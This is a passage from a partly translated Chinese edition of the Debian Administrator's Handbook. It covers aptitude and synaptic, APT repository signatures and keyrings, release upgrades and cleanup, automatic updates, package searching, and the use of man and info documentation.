# aptitude markauto '~slibs|~sperl'

从这里您可看到 aptitude 搜索模式系统的威力，即时选取 libs 与 perl 区块的所有软件包。

小心，软件包被标记为自动且其他软件包均未相依于它们，该软件包就会被自动移除 (经过确认程序)。

6.5.1.1. 管理推荐、建议与工作

aptitude 另个有趣的功能是尊重软件包间的建议，但给使用以个案方式选择不安装的自由。例如，gnome 软件包建议 transmission-gtk (及其他选择)。选择前者安装时，后者也被选取 (若未安装在系统内则标记为自动)。键入 g 将使其更明显： transmission-gtk 显示在满足相依性的自动安装软件包清单里的待决摘要画面。然而，在确认前可以不选择，自行决定要不要安装。

注意，这个推荐的追踪功能不适用于更新。例如，若新版 gnome 推荐一个以前不推荐的软件包，那么就不会安装它。然而，还是列在屏幕，管理者仍可点击并安装它。

同时把软件包间的建议列入考量，但调整特别的情况。例如，自从 gnome 建议 empathy，后者显示在屏幕的待决区 (其他软件包的建议区)。这样子，就能看见且管理者可以决定是否把它们列入考量。毕竟只是建议而不是相依或提议，软件包仍不会被列入自动 — 需要读者的人工介入 (因此，软件包不会被标示为自动)。

在同样的精神下，记得 aptitude 以智能的手法使用工作的概念。在屏幕的软件包清单中显示工作，可以安装或移除选定的完整工作，或浏览包括选定较小工作的软件包清单。

6.5.1.2. 更好的解决算法

To conclude this section, let's note that aptitude has more elaborate algorithms compared to apt-get when it comes to resolving difficult situations. When a set of actions is requested and when these combined actions would lead to an incoherent system, aptitude evaluates several possible scenarios and presents them in order of decreasing relevance. However, these algorithms are not fail-proof. Fortunately there is always the possibility to manually select the actions to perform. When the currently selected actions lead to contradictions, the upper part of the screen indicates a number of “broken” packages (and you can directly navigate to those packages by pressing b). It is then possible to manually build a solution for the problems found. In particular, you can get access to the different available versions by simply selecting the package with Enter. If the selection of one of these versions solves the problem, you should not hesitate to use the function. When the number of broken packages gets down to zero, you can safely go to the summary screen of pending actions for a last check before you apply them.

说明 aptitude 的日志

如同 dpkg，aptitude 追踪运行动作存在其记录档内 (/var/log/aptitude)。然而，两个命令分别在不同层次工作，各自的记录档有不同的信息。当 dpkg 记录对各别软件包的一步步运作，aptitude 则记录系统更新之类的高端运作。

Beware, this logfile only contains a summary of operations performed by aptitude. If other frontends (or even dpkg itself) are occasionally used, then aptitude's log will only contain a partial view of the operations, so you can't rely on it to build a trustworthy history of the system.

6.5.2. synaptic

synaptic 是 Debian 的软件包图形管理器，在 GTK+/GNOME 的基础上提供清楚有效的图形接口。它以很多的立即可用筛选器提供快速添加的软件包、安装软件包、可升级软件包、过时软件包等。经由这些清单浏览，选定对软件包的工作 (安装、升级、移除、清除)；不会立即运行此等工作，但把它们放入工作清单。单键按下可运行的工作，接着就可运行。

图 6.2. synaptic 软件包管理器

6.6. 检查软件包真实性

Falcot 公司的管理极重视安全。因此，他们只安装 Debian 保证无窜改的软件包。电脑怪客可能在合法的软件包内加入若干恶意代码。若安装了这种软件包，就会运行怪客要它做的事，包括泄露密码或隐私信息。为避免这个风险，Debian 有个机制在安装时避免纂改的风险，只安装来自官方维护者的软件包且未经第三方修改。

The seal works with a chain of cryptographic hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

注意 Release 和 Release.gpg 的发展

After the release of Debian 10 Buster the intention has been announced to remove support for the legacy files Release and Release.gpg in APT, used since version 0.6, which introduced support for an archive authentication.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/:

# ls /etc/apt/trusted.gpg.d/

debian-archive-bullseye-automatic.gpg

debian-archive-bullseye-security-automatic.gpg

debian-archive-bullseye-stable.gpg

debian-archive-buster-automatic.gpg

debian-archive-buster-security-automatic.gpg

debian-archive-buster-stable.gpg

debian-archive-stretch-automatic.gpg

debian-archive-stretch-security-automatic.gpg

debian-archive-stretch-stable.gpg

实务 添加可信任的密钥

将第三方软件包来源加入 sources.list 文件后，必须告知 APT 信任对应的 GPG 认证密钥 (否则将继续拒绝无法确认来自该存储库的软件包)。第一步是取得公钥。多半以一个小小的纯文本档做为公钥，在下面的例子里，我们称它为 key.asc。

To add the key to APT's trusted keyring, the administrator can just put it in a *.gpg file in /etc/apt/trusted.gpg.d/ (*.asc files are discouraged and can cause problems). This is supported since Debian Stretch. With older releases, you had to run apt-key add < key.asc, which is considered obsolete already.

While this is very common behavior, it also creates a possible issue. APT does not know which key belongs to which repository. If one of the keys in APT's keyring matches the signature of an archive, APT considers the archive as authenticated. Once a key has been added to the trusted keyring, a malicious attacker could actually provide its own "version" of a Debian mirror signed by the same key. It might therefor actually be better to put the key as *.gpg file into /usr/share/keyrings/ and use the Signed-By field in sources.list for third party repositories as shown in the example below.

Imagine, that the Falcot Corp. runs their own public repository and you want to use it. They have signed it and provide a publicly available key(ring) as well to download. To restrict the key to the repository, you can simply do this:

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Beware that adding and using third party repositories always poses a security and stability risk!

Once the appropriate keys are in the keyring, APT will check the signatures before any risky operation, so that frontends will display a warning if asked to install a package whose authenticity can't be ascertained.

Note, that binary packages are usually not signed. The integrity of a package can only be confirmed by checking its hashsums against a trusted (and possibly signed) hashsum source.

SPECIFIC CASE Unsigned repositories

While in general unsigned repositories shouldn't be used, some users might still require them, for example to provide some locally built packages. APT can be forced to accept such a repository by prepending the repository URL using allow-insecure=yes or trusted=yes. We will demonstrate it using the example from 第 15.3 节 “创建用于 APT 的软件包仓库”:

deb [ trusted=yes ] http://packages.falcot.com/ updates/

deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. 升级至下个稳定发行版

Debian 知名的功能之一是可升级至下个稳定版:dist-upgrade — 知名的句子 — 相当促进 Debian 的名声。除了极少的例外，升级电脑系统只需几分钟的时间，或十来分钟，依照从软件包保存库下载的速度而定.

6.7.1. 推荐的程序

Debian 各稳定版之间存在相当的差异，升级前应仔细阅读发布说明。

基础知识 发布说明

操作系统 (更宽广的说，任何软件都在内) 的发布说明是一份描述软件概况的文档，特别关照指定的版本。相对于完整的软件文档，这些文档相当简短，通常列出前一版本之后新生成的功能。也提供升级的进程、对前一版本用户的警示、以及若干错误更正。

Release notes for Debian are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

In this section, we will focus on upgrading a Buster system to Bullseye. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

Another good habit which makes the upgrade easier (and shorter) is to tidy your installed packages and keep only the ones that are really needed. Helpful tools to do that include aptitude, deborphan, debfoster, and apt-show-versions (see 第 6.2.7 节 “自动追踪已安装的软件包”). For example, you can use the following command, and then use aptitude's interactive mode to double check and fine-tune the scheduled removals:

# deborphan | xargs aptitude --schedule-only remove

秘诀 查找更改的文件

debsums 命令可以检查本地系统中已安装软件包的文件是否更改。使用简单的哈希算法和 /var/lib/dpkg/info/package.md5sums 中的信息 (参阅 第 5.2.3 节 “Checksums, List of Configuration Files, et al.”)。要查找配置文件是否更改，可以使用 debsums -ec。要检查整个系统，使用 debsums -c。

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Bullseye instead of Buster. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed with the apt update command or the refresh button in synaptic (第 6.2.1 节 “初始化”).

注意 软件仓库信息变更

当新版本的Debian发布时，Release 和 InRelease 文件中的一些存储库字段会更改，如 Suite 字段。当出现此情况时，直到用户确认已为此做好准备，否则将拒绝从存储库下载数据。要确认更改，使用 apt-get 的 --allow-releaseinfo-change 或 --allow-releaseinfo-change-field 选项或者 Acquire::AllowReleaseInfoChange 配置选项。

Once these new package sources are registered, you should first do a minimal upgrade with apt upgrade et al. as described in 第 6.2.3 节 “系统升级”. By doing the upgrade in two steps, we ease the job of the package management tools and often ensure that we have the latest versions of those, which might have accumulated bugfixes and improvements required to complete the full distribution upgrade.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic (第 6.7 节 “升级至下个稳定发行版”). You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the frontend should come up with a scenario ending in a coherent and up-to-date Bullseye system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. 处理升级后的问题

尽管 Debian 管理者已经尽力做好份内的工作，主系统的升级仍可能不如想像中顺利。软件的新版本可能无法与旧版本兼容 (例如，可能改变缺省行为或数据格式)。同时，尽管在 Debian 发布前做了详尽的测试，还是有若干漏网的错误。

要解决这些问题，可以先安装 apt-listchanges 软件包，在软件包升级前先显示可能问题。由软件包维护者编辑的这些信息且置于 /usr/share/doc/软件包名/NEWS.Debian 文件名内，供用户参考。阅读这些文件 (可能经由 apt-listchanges) 应有助于规避意外。

You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/package, and check whether the problem has already been reported. If this is case, it will be also listed before the upgrade begins if you have apt-listbugs installed. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug:

- 有时已有补丁，并且列在错误报告内；可以本地重新编译修补破碎的软件包 (见 第 15.1 节 “从源码重新构建安装包”);

- 否则，用户可能找到另外的解决方法且在报告内分享;

- 再不然，维护者可能已准备并公开修订软件包。

很严重的错误，将有特别的软件包供稳定版使用。在这种情况下，修订后的软件包位于 Debian 镜像站的 proposed-updates 区域 (见 第 6.1.2.3 节 “计划更新”)。对应的条目暂时加在 sources.list 文件内，可用 apt 或 aptitude 命令安装升级软件包。

修订软件包尚未被稳定版管理者认可时，就不会出现在此区块。用户必须自己动手认可它。虽然列在此的软件包尚未可得，但至少已知在审查中。

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. 升级后的清理

APT通常保证干净升级，下载新的和更新的依赖项，或移除冲突软件包。但是，即使是如此出色的工具，也不能涵盖用户和管理员在升级后将面对的所有任务，需要人工决策。

6.7.3.1. 从Debian存档中删除包

Sometimes the Debian ftpmasters remove packages from the Debian archive, because they contain release critical bugs, were abandoned by their upstream author or their package maintainer, or simply reached their end of life. In this case a newer Debian release does not ship the package anymore. To find all packages, which do not have a package source, use the apt-show-versions command:

$ apt-show-versions | grep "No available version"

通过 aptitude search ~o 可以存档类似的结果。如果关键包不再需要，应该从系统中删除，因为不再有关键和安全相关问题的更新。

6.7.3.2. 虚拟和过渡软件包

有时，软件包可能需要有一个新的名称。这是通常旧的软件包保留为（几乎）空的包，依赖新的软件包，并在 /usr/share/doc/package/ 中安装强制文件。这些包称为"虚拟"或"过渡"软件包。如果软件包维护者将此包的区域更改为 oldlibs，则如 aptitude、deboprhan 或 debfoster等工具 (见侧栏 其他 deborphan 与 debfoster)可以识别并建议删除这些包。

不幸的是，目前没有万无一失的方法确保上述工具自动删除或识别这些软件包。要检查系统是否仍安装有这些软件包的方法，是查看已安装软件包的描述并检查结果。应小心不要安排结果自动删除，因为此方法会导致误报：

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

因为新软件包是作为过渡软件包的依赖项安装的，通常会标记为自动安装，在尝试从系统删除过渡软件包时可能安排删除。这时可以使用侧栏 提示 同时进行卸载和安装 和 第 6.2.7 节 “自动追踪已安装的软件包” 描述的方法选择性删除过渡包。

6.7.3.3. 旧的或不再使用的配置文件

If the upgrade was successful there might be some configuration file cruft, either from dpkg (see 第 5.2.3 节 “Checksums, List of Configuration Files, et al.”), ucf or from removed packages. The latter can be purged by using apt autoremove --purge. The configuration files that were handled by dpkg or ucf during the upgrade process have left some counterparts with a dedicated suffix, e.g. .dpkg-dist, .dpkg-old, .ucf-old. Using the find or locate command can help to track them down. If they are no longer of any use, they can be deleted.

6.7.3.4. 不属于任何包的文件

Debian 原则强制软件包在删除时不能留下文件。违反原则会是一个严重错误，您很少会遇到。如果遇到此问题，请报告；如果您好奇，可以使用 cruft 或 cruft-ng 软件包检查系统是否由文件不属于任何软件包。

6.8. 保持系统在最新状态

Debian 发行版永远处于动态、持续变化中。大部分的变化在 测试版 与 不稳定版 中，即使是 稳定版 也随时在更新中，主要是安全相关的修订。不论运行哪个版本，都需保持在最新的版本，才能用到最新的状态及修订错误。

最好定期运行升级与更新，虽然很琐碎却是必要的。幸运的是，这种重复性的工作可以自动运行，有很多工具可以使用。

第一个工具是 apticron，位于同名软件包中。主要作用是每日运行一个脚本 (经由 cron)。这个脚本更新可用软件包清单，若已安装的软件包不在此清单内，则发送电子邮件列出该软件包清单，并指出在新版中可用的软件包。明显地，此软件包的对象是 Debian 稳定版 的用户，对其他版本的用户而言，此清单太长了。取得可更新清单后，apticron 自动下载它们。不会安装它们 — 那是管理者的权限与工作 — 但已下载的软件包可以本地 (于 APT 缓存内) 安装，速度快多了。

同时管理多部电脑的管理者一定很感谢被通知有待升级的软件包，但升级本身还是很繁琐的工作。可以弃用定期升级：使用 systemd 计时组件或 cron。如果 systemd 未安装，有 /etc/cron.daily/apt-compat 脚本 (在 apt 软件包内) 可用。此脚本是由 cron 每日运行 (且不是交互式)。以 APT 配置变量 (保存在 /etc/apt/apt.conf.d/10periodic中的文件) 控制其运作。主要的变量是：

APT::Periodic::Update-Package-Lists

此选项允许您指定软件包列表刷新的频率（以天计）。apticron 也可以在无此变量的前提下运行，因为 apticron 本来就已在运行中。

APT::Periodic::Download-Upgradeable-Packages

此选项指定频率 (以天计)，此时实际地下载软件包。同样地，apticron用户不需。

APT::Periodic::AutocleanInterval

此选项包括 apticron 没有的功能。指定过时软件包 (未被任何发行版引用) 移出 APT 缓存的时机。如此一来，APT 缓存的容量就保持在合理的范围，不必再担心其工作负担。

APT::Periodic::Unattended-Upgrade

启用此选项后，每日脚本将执行 unattended-upgrade（来自 unattended-upgrades 软件包） — 如其名称所示 — 会自动升级软件包（默认只运行安全性升级，但可以在 /etc/apt/apt.conf.d/50unattended-upgrades 中定制）。注意，这个选项能通过运行 dpkg-reconfigure -plow unattended-upgrades 来设置。如果安装了 apt-listbugs，它会阻止那些被报告了严重 bug 的软件包的自动升级。

其他选项允许你更精细地控制缓存清理动作。这里未完全列出，但可以在 /usr/lib/apt/apt.systemd.daily 脚本中查看。

这些工具在服务器上运作得很好，但桌面用户通常习惯于交互式系统。gnome-software 软件包在桌面环境的通知栏提供了一个更新提示图标，点击该图标则会运行升级界面。你可以浏览可用的升级，阅读相关软件包的简短说明以及对应的 changelog 条目，逐一确认是否升级。

图 6.3. 使用 gpk-update-viewer 升级

这个工具不再安装于默认的 GNOME 桌面中。新的哲学是安全升级应该自动安装，或者在后台安装，或者最好在你关闭计算机时，以免干扰任何正在运行的应用程序。

6.9. 自动升级

Falcot Corp 虽有多部电脑但人力有限，其管理者试图尽可能地自动升级。必须在无人为介入情况下处理升级事宜。

6.9.1. 配置 dpkg

如前面提过的 (见专栏 更进一步 避免配置文件问题)，dpkg 可在不必确认的情况下取代原来的配置档 (以 --force-confdef --force-confold 选项运行该功能)。然而，有三个交互来源：有些来自 APT 自身、有些由 debconf 处理、还有的是由软件包配置脚本运行（有时由ucf处理）。

6.9.2. 配置 APT

APT 的例子很简单：-y 选项 (或 --assume-yes) 告诉 APT 面对所有的问题时，答案都是 “yes”。

6.9.3. 配置 debconf

debconf 需要较详细的说明。此程序原本的设计就是控制给用户看到的相关性及数量，以及显示的方法。问题需有最小的优先权；拥有最小优先权以上的问题才显示。debconf 缺省的答案 (由软件包维护者设置) 会略过。

The other relevant configuration element is the interface used by the frontend. If you choose noninteractive out of the choices, all user interaction is disabled. If a package tries to display an informative note, it will be sent to the administrator by email.

配置 debconf 时，用到 dpkg-reconfigure 工具，它是来自 debconf 软件包；相关的命令是 dpkg-reconfigure debconf。配置值可能是在需要时暂时取代的环境变量 (例如，DEBIAN_FRONTEND 控制接口，如同在 debconf(7) 手册页面所述)。

6.9.4. 处理命令行接口

最后一个交互来源，以及最难摆脱的，是 dpkg 运行的配置脚本。不幸的是，没有标准的解法且没有较佳的答案。

通常的做法是，把标准的输入由空白内容的 /dev/null 文件转向给 command </dev/null，或由新的键入字符串取代。以上的方法都不是100%可靠，但它们可以转至缺省的答案，因为大部分的脚本已考量到无默认值的答案。

6.9.5. 神奇的组合

把前述的元素组合起来，就可能设计出一个可处理自动升级的小而可靠脚本。

例 6.5. 无交互升级脚本

export DEBIAN_FRONTEND=noninteractive

yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

实务 Falcot Corp 个案

Falcot 公司采用异质系统电脑，运行多种功能。管理者必须为每部电脑挑选最适合的解决方案。

In practice, the servers running Bullseye are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Bullseye, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

在实验室里，有些安装 测试版 — 就是使用最新版的软件 — 的电脑也不会自动更新。管理者必须配置 APT 才能更新它们；决定更新时 (手动)，列出重新加载软件包清单并避免下载繁琐的部件，管理者就能专注在真正有用的部件。

6.10. 搜索软件包

With the large and ever-growing amount of software in Debian, there emerges a paradox: Debian usually has a tool for most tasks, but that tool can be very difficult to find among the myriad other packages. The lack of appropriate ways to search for (and to find) the right tool has long been a problem. Fortunately, this problem has almost entirely been solved.

最琐碎的搜索可能是找到正确的软件包名称。若 apt show 软件包名称 返回结果，表示该软件包存在。不幸的是，必须知道或猜对软件包名称，却几乎是不可能的.

秘诀 软件包命名惯例

部分类型的软件包遵循命名惯例；只要知道该惯例就能够猜到正确的软件包名称。例如，Perl 模块，惯例是名为 XML::Handler::Composer 上游的软件包名就是 libxml-handler-composer-perl。从 Python 启用 gconf 系统的程序库就是软件包 python-gconf。不幸的是即使软件包管理者努力选择上游开发者的惯例，仍无法猜中所有软件包的命名方式。

搜索纯文本的软件包名称，虽然有限制但成功率较高。还可以搜索软件包说明的内容：除了搜索软件包名称、关键词之外，还可搜索其说明。apt-cache 与 axi-cache 是此类搜索工具 (见 其他 axi-cache)；例如，apt-cache search video 将找出名称或说明内有键词 “video” 的软件包。

更复杂的搜索，需要更有力的工具，如 aptitude 是其中之一。aptitude 可搜索软件包元数据字段的内容。例如，以下的范例搜索含有 kino 字样的软件包名称，其说明包括 video 与维护者名字为 paul：

$ aptitude search kino~dvideo~mpaul

p   kino  - Non-linear editor for Digital Video data

$ aptitude show kino

Package: kino

Version: 1.3.4+dfsg0-1.1

State: not installed

Priority: optional

Section: video

Maintainer: Paul Brossier <piem@debian.org>

Architecture: amd64

Uncompressed Size: 8,316 k

Depends: libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2),

libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4

(>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0),

libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>=

2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0),

libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11

(>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>=

7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1

Recommends: ffmpeg, curl

Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora

Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386,

kino-timfx:i386, kinoplus:i386, kino:i386

Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386,

kino-timfx:i386, kinoplus:i386

Provides: kino-dvtitler, kino-timfx, kinoplus

Description: Non-linear editor for Digital Video data

Kino allows you to record, create, edit, and play movies recorded with DV

camcorders. This program uses many keyboard commands for fast navigating and

editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed

as separate packages, are now provided with Kino.

Homepage: http://www.kinodv.org/

Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++,

interface::graphical, interface::x11, role::program, scope::application,

suite::gnome, uitoolkit::gtk, use::editing, use::learning,

works-with::video, x11::application

此搜索只找到一个软件包，kino，满足全部三个条件。

Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematic classification along several strands, known as a “facet-based classification”. In the case of kino above, the package's tags indicate that Kino is a Gnome-based software that works on video data and whose main purpose is editing.

Browsing this classification can help you to search for a package which corresponds to known needs; even if it returns a (moderate) number of hits, the rest of the search can be done manually. To do that, you can use the ~G search pattern in aptitude, but it is probably easier to simply navigate the site where tags are managed or use the debtags command:

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

以 works-with::video 及 use::editing 标签可找出若干软件包，包括 kino 与 pitivi 影像编辑器。愈来愈多人使用这种分类系统，在此基础上，软件包管理者创建更有效的接口。

总的来说，最好的工具取决于搜索时你所期望达到的复杂程度：

- apt-cache 只能通过软件包名称和描述信息来进行搜索，对于搜索符合少量关键词的特定软件包十分方便;

- 当搜索条件包括软件包之间的关系或者像维护者名称的其它元数据时，synaptic 将更加有用；

- 当需要基于标签来搜索时，packagesearch 是一个很好用的工具，可以根据若干条件（包括软件包中包含的文件名）进行软件包搜索的图形化专用工具。命令行下则使用 axi-cache。

- 最后，当搜索涉及有逻辑操作的复杂的表达式时，首选工具为 aptitude 的搜索语法，尽管有点晦涩难用但功能相当强大，它有命令行和交互两种模式。

第 7 章 问题的解决与相关信息的检索

对于一名系统管理员来说，面对任何已知或者未知的情况仍然能从容面对是一种重要的技能。本章将给出一些方法，用意帮助您定位出引发问题的原因，希望能帮助你们解决问题。

7.1. 文档资源

在你能搞懂引发问题的原因之前，你需要从原理上明白程序及其所包含的子程序所扮演的角色。为此，最好的方法是参考程序的文档；但这些文档往往数量巨大且分散，因此你也需要知道如何找到这些文档。

7.1.1. 手册页面

文化 读那该死的文档去！(RTFM)

本标题缩写意思是“读那该死的文档！(Read the F**king Manual)”，当然，也可以翻译得文雅一些，“读那些好文档(Read the Fine Manual)”。这个短语经常是用来回复新手的提问时，表达略带厌烦的情绪。有人认为这种回应略显粗鲁，毕竟对于提问的人来说，他们未必会介意去阅读文档。但也有人认为，这种经典的回应方式聊胜于无（至少指出已有的文档包含了相关的信息），毕竟也比直接得到一个满是抱怨并且十分冗长答复要好些。

在任何情况下，如果有人用“RTFM”来回应你，通常并没有任何冒犯的意思。要是这种回应让你觉得脑火，要么你就直接无视，要么你最好在提问之初就说明在手册当中没有找到相关信息。在上论坛提问前，最好也能描述你已经寻找资料的一些步骤。Eric Raymod曾发表过一篇指引性的文章，就如何提问给出了建议，这能有效避免常识性的错误并得到有用的答案。文章地址是：

→ http://catb.org/~esr/faqs/smart-questions.html

手册页 （manual pages）通常都是文笔紧凑，包含了大量的有用信息。由 man-db 软件包提供，可以快速地浏览命令来进行查看。只要简单的输入命令 man manual-page 就能显示所查命令的手册页。例如，当你想了解 cp 这个命令的所有选项时，直接在Shell控制台输入 man cp 就可以了(具体请见 sidebar 基本知识 命令行解析器 - Shell )。

基本知识 命令行解析器 - Shell

命令行解析器，通常也称作“shell”， 是一种执行用户输入或者文本命令的程序。在交互模式下，会显示一个提示符（普通用户会显示一个$ 符号，管理员用户会显示一个#），用来表示shell已经就绪，可以读取一个新的命令。附录 B, 简短辅导课程 描述了shell的基本使用方法。

默认且经常会被用到的shell程序是 bash （Bourne Again SHell）， 当然也有其他，包括 dash， csh， tcsh 和 zsh等等。

上除其他事情外，大部分shell程序提供帮助（键入help）和辅助输入，如命令和文件名自动补全（输入命令的过程中敲击 Tab就可以补全），以及重新调用之前输入过的命令（历史管理；即调用 /etc/inputrc 中的“上一条”和“下一条”）的功能。

手册页面不仅可以为程序编写文档，也可以为配置文件，系统调用，以及编程语言库函数等等编写。当遇到不同类型的程序拥有相同名字的情况，就会造成冲突。例如：shell有一个命令 read 和系统调用函数 read 重名。为此，手册页面通过添加数字参数的方式对不同种类的文档进行分类：

1

可从命令行执行的程序;

2

系统调度（由内核提供的函数）;

3

库函数（由系统库提供的函数）;

4

设备（在Unix下，设备就是一些特殊的文件，通常放置在 /dev/ 目录下）;

5

配置文件（格式与约定）;

6

游戏;

7

系统宏与标准集;

8

系统管理命令;

9

内核例程。

如果出现上述的冲突情况，你可以在使用手册页面查看文档的时候指定对应的分类数字（section）：例如浏览系统调用read的文档时，你可以键入man 2 read。如果不指定具体的分类数字（section），系统则会从小到大获取第一个数字作为默认值。因此直接输入man shadow的时候，系统就会返回 shadow(5)的文档内容，这是在分类页面1-4都没有shadow这个命令的手册页面所导致的。

提示 whatis命令

如果你只是想显示一些简短的描述来确认所输入的命令是否自己所需，不希望显示完整的手册页面的话，只需要输入whatis command就可以了。

$ whatis scp

scp (1)              - OpenSSH secure file copy

这部分描述同样包含在手册页面的NAME部分。

当然，如果你连命令的名字都不知道，手册页面恐怕就无能为力了。遇到这种情况，我们可以用命令 apropos 来解决，这个命令能帮你查询手册页面的功能，或者简要的描述。每个手册页面都有一个单行的描述。apropos 返回手册页面请求的关键字列表。关键字选择得恰当，就能通过此工具很快得到结果。

例 7.1. 通过apropos查找 cp命令

$ apropos "copy file"

cp (1)               - copy files and directories

cp (1posix)          - copy files

cpio (1)             - copy files to and from archives

exec (1posix)        - execute commands and open, close, or copy file descriptors

install (1)          - copy files and set attributes

ntfscp (8)           - copy file to an NTFS volume.

提示通过以下链接浏览

很多的手册页面都有"SEE ALSO"的段落，通常位于内容的最后。其作用是同时指出其他相关的类似命令，或者外部的文档。这样就可以在不选择第一个选项的情况下，仍可寻找到相关文档。

并不仅仅man这个命令可以用来查看手册页面，也可以使用konqueror 和 konqueror (在KDE环境中) 及 yelp (在 GNOME环境中)，均可实现相同功能。而用 man2html 软件包甚至能提供手册页面的web接口，允许你通过网页浏览器来浏览手册页面。使用方法是在已经安装了这个软件包的计算机上，根据 /usr/share/doc/man2html/README.Debian 的说明，浏览这个连接：

→ http://localhost/cgi-bin/man/man2html

这个工具需要一个web服务器，因此你应该将其安装在一台服务器上：本地网络的所有用户将会因此受惠（包括非linux的机器），也不需要在每台工作站上面都安装http服务。如果你的服务器同时也能从外部网络访问的话，比较建议对这项服务的访问限制在本地网络的用户。

最后，但不是最重要的，您可以在 manpages.debian.org 查看所有Debian中可用的手册页面（即使还未安装到你的计算机上）。通常每个页面都有多个版本，对应不同的Debian版本。

→ https://manpages.debian.org

DEBIAN政策对手册页面的规定

Debian要求每个程序都必须配备手册页面。如果上游的作者没有提供这份文档，Debian软件包的维护者就必须为读者编写一份最少内容的页面作为原文档。

7.1.2. info文档

GNU项目为其大部分的程序编写了info格式的文档；这将解释为何很多手册页面的内容直接引用 info 文档的内容。这种格式有一定的优势，但默认的查看程序（也就是info 命令）却会使得查看文档变得复杂。更好的建议，是使用 pinfo 程序来替代默认的程序（使用 pinfo 的软件包）。

info文档拥有一个分层次的结构，如果在调用 pinfo 命令的时候没有输入任何参数，它将会列出第一层所有有效的节点。通常来说，节点名称与命令的名称相对应。

pinfo 可以使用键盘的上下箭头很轻易的在节点之间进行导航。另外，你们也可以使用图形界面的浏览器来查看文档，这种方式对用户更加友好。konqueror 和 yelp 同样可用；而 info2www 软件包同样提供了一个 web 接口。详情可访问

→ http://localhost/cgi-bin/info2www

需要注意的是，info 系统不支持翻译功能，这点与 man 系统不一样。因此 info 总是以英文编写。然而，当你尝试用 pinfo 命令访问一个并不存在的info页面的时候，将会回退到同名的 man 页面（如果该页面存在），这时的页面有可能是被翻译了的。

7.1.3. 特定的文档

每个软件包都包含自身的文档。即使是最缺乏文档的包也至少会包含 README 文件，里面包含了有趣并（或）重要的信息。这些文档通常会被安装在/usr/share/doc/package/ 目录（这里的 package 代表软件包的名字）。当文件特别巨大的情况下，这些文档不会包含在程序的主包当中，而是另外提供一个通常以 package-doc 的包名格式另外提供一个软件包。主包都通常推荐能容易找到的文档包。

在 /usr/share/doc/package/目录当中同样有一些由Debian包维护者补充的文档，与原版文档不同的是，增补了一些软件包的特性或改善的内容。README.Debian 文件同时也会指出相关的修改内容是为了遵守Debian的包发布政策（Debian Policy）。changelog.Debian.gz 这个文件则按照时间的顺序描述了同一功能的若干次改动间的区别：这对理解不同版本的程序的演变过程有利。最后， NEWS.Debian.gz 这个文件记录了一些管理员可能非常关心的功能变化。(参见 第 6.7.2 节 “处理升级后的问题”)。

7.1.4. 网站

